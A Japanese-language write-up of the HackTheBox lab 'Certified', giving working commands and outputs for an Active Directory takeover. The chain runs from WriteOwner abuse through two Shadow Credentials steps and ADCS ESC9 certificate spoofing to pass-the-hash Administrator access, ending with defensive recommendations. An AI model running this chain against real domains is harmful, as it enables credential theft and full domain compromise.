HackTheBox: Certified — 全実行コマンド・実行結果レポート
Nmap スキャン
AD DC (53/88/389/445/636等)
→
AD DC (53/88/389/445/636等)
judith.mader:judith09
事前付与された低権限資格情報
→
事前付与された低権限資格情報
WriteOwner濫用
managementグループ掌握
→
managementグループ掌握
Shadow Credentials
management_svc NTハッシュ奪取
→
management_svc NTハッシュ奪取
user.txt ✓
→
Shadow Credentials
ca_operator NTハッシュ奪取
→
ca_operator NTハッシュ奪取
ADCS ESC9
UPN偽装+証明書要求
→
UPN偽装+証明書要求
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -sV -sC -p 53,88,135,139,389,445,636,3268,3269,5985,9389 10.129.231.186
RESULT
PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos 389/tcp open ldap Active Directory LDAP (Domain: certified.htb) |_ssl-date: ... +7h00m06s from scanner time 445/tcp open microsoft-ds 5985/tcp open http Microsoft-HTTPAPI/2.0 (WinRM) 9389/tcp open mc-nmf .NET Message Framing (AD Web Services) Service Info: Host: DC01; OS: Windows
🚨
重要な伏線: nmapのSSL証明書検査が
+7h00m06s from scanner time
というKaliとターゲットの時刻ズレを既に報告している。これは後のPhase5で
Kerberos PKINIT認証が KRB_AP_ERR_SKEW(クロックスキュー過大)で失敗する
直接の原因になる。
vhost登録
BASH
echo "10.129.231.186 certified.htb DC01.certified.htb" | sudo tee -a /etc/hosts
PHASE 2
WriteOwner濫用 — managementグループの掌握
BloodHoundでACLチェーンを確認
BASH
bloodhound-python -u judith.mader -p judith09 -d certified.htb \ -ns 10.129.231.186 -c All --zip
NOTE
BloodHoundで判明するACLチェーン: judith.mader --WriteOwner--> management (グループ) management --GenericWrite--> management_svc (ユーザー、WinRM可)
所有者変更 → GenericAll付与 → 自身をメンバー追加
BASH (bloodyAD)
bloodyAD --host 10.129.231.186 -d certified.htb -u judith.mader -p judith09 \ set owner management judith.mader bloodyAD --host 10.129.231.186 -d certified.htb -u judith.mader -p judith09 \ add genericAll management judith.mader bloodyAD --host 10.129.231.186 -d certified.htb -u judith.mader -p judith09 \ add groupMember management judith.mader
BASH (メンバーシップ確認)
net rpc group members management -U certified.htb/judith.mader%judith09 \ -S 10.129.231.186
RESULT
CERTIFIED\judith.mader
management グループのメンバーに judith.mader が追加された
ℹ️
WriteOwner権限は「オブジェクトの所有者を自分自身に変更できる」権限。
所有者になると(ACLに明示エントリが無くても)暗黙的にDACLを書き換えられるため、
GenericAllを自分に付与→グループへの自己追加、という3段階の操作で
managementグループを完全に乗っ取れる。
PHASE 3
Shadow Credentials (management_svc) → user.txt
GenericWriteでShadow Credentialsを仕込む
BASH
certipy-ad shadow auto -u judith.mader@certified.htb -p judith09 \ -account management_svc -dc-ip 10.129.231.186
RESULT
[*] Targeting user 'management_svc'
[*] Generating certificate
[*] Generating Key Credential
[*] Adding Key Credential with device ID '...' to the Key Credentials for 'management_svc'
[*] Authenticating as 'management_svc' with the certificate
[*] Using principal: 'management_svc@certified.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] NT hash for 'management_svc': a091c1832bcdd4677c28b5a6a1295584
ℹ️
Shadow Credentials攻撃: 対象ユーザーの
msDS-KeyCredentialLink
属性(GenericWrite権限で書込み可能)に攻撃者が生成した公開鍵証明書を追加し、
その証明書でPKINIT(証明書ベースのKerberos事前認証)を行うことでTGTを取得、
さらにU2U経由でNTハッシュまで復元できる。対象のパスワードを一切知らなくても
完全に乗っ取れる強力な手法。
Pass-the-HashでWinRM接続 → user.txt
BASH
evil-winrm -i 10.129.231.186 -u management_svc \ -H a091c1832bcdd4677c28b5a6a1295584
BASH (evil-winrmシェル内)
*Evil-WinRM* PS C:\Users\management_svc\Desktop> type user.txt
RESULT
cd6e60e83a9e08baf158d76ddc6064b6
user.txt — management_svc@certified
cd6e60e83a9e08baf158d76ddc6064b6
PHASE 4
ca_operator の奪取 (GenericAll)
management_svc から ca_operator へ同じ手口
NOTE
BloodHoundでさらに辿ると、management_svc は ca_operator に対して GenericAll権限を保有している。同じShadow Credentials攻撃をもう一段階 適用できる。
BASH
certipy-ad shadow auto -u management_svc@certified.htb \ -hashes a091c1832bcdd4677c28b5a6a1295584 \ -account ca_operator -dc-ip 10.129.231.186
RESULT
[*] Got TGT
[*] NT hash for 'ca_operator': b4b86f45c6018f1b664f70805f45d8f2
ℹ️
ca_operatorという名前の通り、このユーザーは後述するADCS証明機関(CA)の
証明書テンプレートに対するEnroll(発行申請)権限を持つ特別なアカウント。
ここまでの2段階のShadow Credentials攻撃(judith.mader→management_svc→ca_operator)で、
最終的にCA操作権限を持つアカウントまで権限昇格できた。
PHASE 5
ADCS ESC9 (No Security Extension) → root.txt
certipy find で脆弱なテンプレートを特定
BASH
certipy-ad find -u ca_operator@certified.htb -hashes b4b86f45c6018f1b664f70805f45d8f2 \ -dc-ip 10.129.231.186 -vulnerable -stdout
RESULT
Certificate Authorities
CA Name : certified-DC01-CA
Certificate Templates
Template Name : CertifiedAuthentication
Enrollment Flag : PublishToDs
AutoEnrollment
NoSecurityExtension
Enrollment Rights : CERTIFIED.HTB\operator ca
CERTIFIED.HTB\Domain Admins
[!] Vulnerabilities
ESC9 : 'operator ca' can enroll and template has no security extension
🚨
ESC9の原理: テンプレートに
NoSecurityExtensionフラグが
立っていると、発行される証明書にszOID_NTDS_CA_SECURITY_EXT
(対象のSIDを埋め込む拡張)が付与されない。この場合、証明書を使った認証時に
Windowsは証明書のSAN(UPN)フィールドだけを見てユーザーを特定する。
つまり自分のUPNを一時的に別のユーザー(Administrator)に書き換えてから
証明書を発行させれば、そのユーザーになりすませる。
ca_operator のUPNをAdministratorに変更
BASH
certipy-ad account update -u management_svc@certified.htb \ -hashes a091c1832bcdd4677c28b5a6a1295584 \ -user ca_operator -upn Administrator -dc-ip 10.129.231.186
RESULT
[*] Updating user 'ca_operator':
userPrincipalName : Administrator
[*] Successfully updated 'ca_operator'
ℹ️
UPN変更には
management_svc(ca_operatorへのGenericAll保有者)の
資格情報を使う。ca_operator自身の資格情報でも理論上は可能だが、権限関係が
素直なmanagement_svcを使う方が確実。
CertifiedAuthenticationテンプレートで証明書を要求
BASH
certipy-ad req -u ca_operator@certified.htb -hashes b4b86f45c6018f1b664f70805f45d8f2 \ -ca certified-DC01-CA -template CertifiedAuthentication -dc-ip 10.129.231.186
RESULT
[*] Requesting certificate via RPC [*] Successfully requested certificate [*] Got certificate with UPN 'Administrator' [*] Saved certificate and private key to 'administrator.pfx'
ℹ️
この証明書要求自体はNTLMハッシュ(
-hashes)ベースのRPC通信であり
Kerberosを必要としないため、クロックスキューの影響を受けない。
UPNを元に戻す(重要な後始末)
BASH
certipy-ad account update -u management_svc@certified.htb \ -hashes a091c1832bcdd4677c28b5a6a1295584 \ -user ca_operator -upn ca_operator@certified.htb -dc-ip 10.129.231.186
⚠️
証明書を取得した後、ca_operatorのUPNを必ず元の値に戻すこと。
戻さないままにすると、ドメインに同名の重複UPNが残り他の認証処理に
副作用を及ぼす可能性があるほか、検知されやすい痕跡にもなる。
ハマりどころ: KRB_AP_ERR_SKEW (クロックスキュー)
BASH
certipy-ad auth -pfx administrator.pfx -domain certified.htb -dc-ip 10.129.231.186
RESULT (修正前、失敗)
[*] Certificate identities:
[*] SAN UPN: 'Administrator'
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
🚨
重要発見:
certipy authはPFX証明書を使ってPKINITで
TGTを要求するため、Kerberos認証そのものに依存する。Phase1のnmapで
確認した通りKaliとターゲットの時刻が7時間以上ズレており、既定のKerberosクロック
許容範囲(通常5分)を大幅に超えるため認証が拒否される。ntpdateで
システム時計を同期しても、その後の別のコマンド呼び出しの間に時刻がまた
ズレ戻ることがあり、1回だけの同期では不十分な場合がある。
BASH (faketimeで確実に回避)
# ターゲットの正確な時刻を取得 net time -S 10.129.231.186 # 例: Thu Oct 2 07:41:39 2026 # faketimeでKerberos依存コマンドだけを正しい時刻に偽装して実行 faketime "Thu Oct 2 07:41:39 2026" certipy-ad auth \ -pfx administrator.pfx -domain certified.htb -dc-ip 10.129.231.186
RESULT
[*] Using principal: 'administrator@certified.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34
✅
解決策: システム全体の時計を
ntpdateで恒久的に合わせようと
するのではなく、net time -S <target>でターゲットの正確な時刻を
取得し、Kerberosに依存する個々のコマンドだけをfaketime "<時刻>" <コマンド>
で直接ラップする方が確実。システムクロックへの副作用もなく、呼び出しごとに
独立して正しい時刻を保証できる。
Administrator権限でroot.txt取得
BASH
evil-winrm -i 10.129.231.186 -u Administrator \ -H 0d5b49608bbce1751f708748f67e2d34
BASH (evil-winrmシェル内)
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
RESULT
76fd414ca81e754a4eceb291c49c2c3f
root.txt — Administrator@certified
76fd414ca81e754a4eceb291c49c2c3f
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — management_svc@certified
cd6e60e83a9e08baf158d76ddc6064b6
root.txt — Administrator@certified
76fd414ca81e754a4eceb291c49c2c3f
使用した脆弱性
| 脆弱性・手法 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| WriteOwner ACL濫用 | management グループ | グループ乗っ取り | High | 所有者を自分に変更→GenericAll付与→自己追加の3段階 |
| Shadow Credentials (×2段) | management_svc, ca_operator | パスワード不要のアカウント乗っ取り | Critical | msDS-KeyCredentialLinkに偽証明書追加→PKINIT TGT→NTハッシュ復元 |
| ADCS ESC9 (No Security Extension) | CertifiedAuthentication テンプレート | 権限昇格 (Domain Admin相当) | Critical | UPN一時書換え+証明書発行で、SID拘束のない証明書によりAdministratorへなりすまし |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap (AD DC検出、時刻ズレ発見) | certified.htb/DC01、+7時間の時刻ズレ |
| 2 | ACL濫用 | bloodyAD WriteOwner→GenericAll→addmember | management グループ掌握 |
| 3 | 横移動 | Shadow Credentials (certipy shadow auto) | user.txt(management_svc) |
| 4 | 横移動 | Shadow Credentials (2段目) | ca_operator NTハッシュ |
| 5 | 権限昇格 | ADCS ESC9 + faketime | root.txt(Administrator) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 一般ユーザーがグループオブジェクトに対しWriteOwnerを保有 | AD ACLの定期監査を実施し、不要なWriteOwner/WriteDACL/GenericWrite権限を削除する。 |
| msDS-KeyCredentialLinkへの書込み権限(GenericWrite)がShadow Credentials攻撃に悪用可能 | GenericWriteのような強力な汎用権限ではなく、必要最小限の個別プロパティ権限のみ付与する。Shadow Credentials攻撃の監視(Event ID 5136でmsDS-KeyCredentialLink変更を検知)を有効化する。 |
| 証明書テンプレートにNoSecurityExtensionフラグが設定されている(ESC9) | 証明書テンプレートの設定を監査し、NoSecurityExtensionフラグを無効化する。可能な限りStrong Certificate Mappingを強制する(KB5014754)。 |
| サンドボックス/攻撃環境とターゲットの時刻が数時間単位でズレていた | (これは攻撃環境側の制約だが)Kerberos依存ツールを使う際は事前にnet time -S等で正確な時刻差を把握し、必要に応じてfaketimeでコマンド単位に正しい時刻を与える。本番環境では全ホストでNTPクライアントを正しく設定し5分以内の時刻同期を維持することが大前提。 |

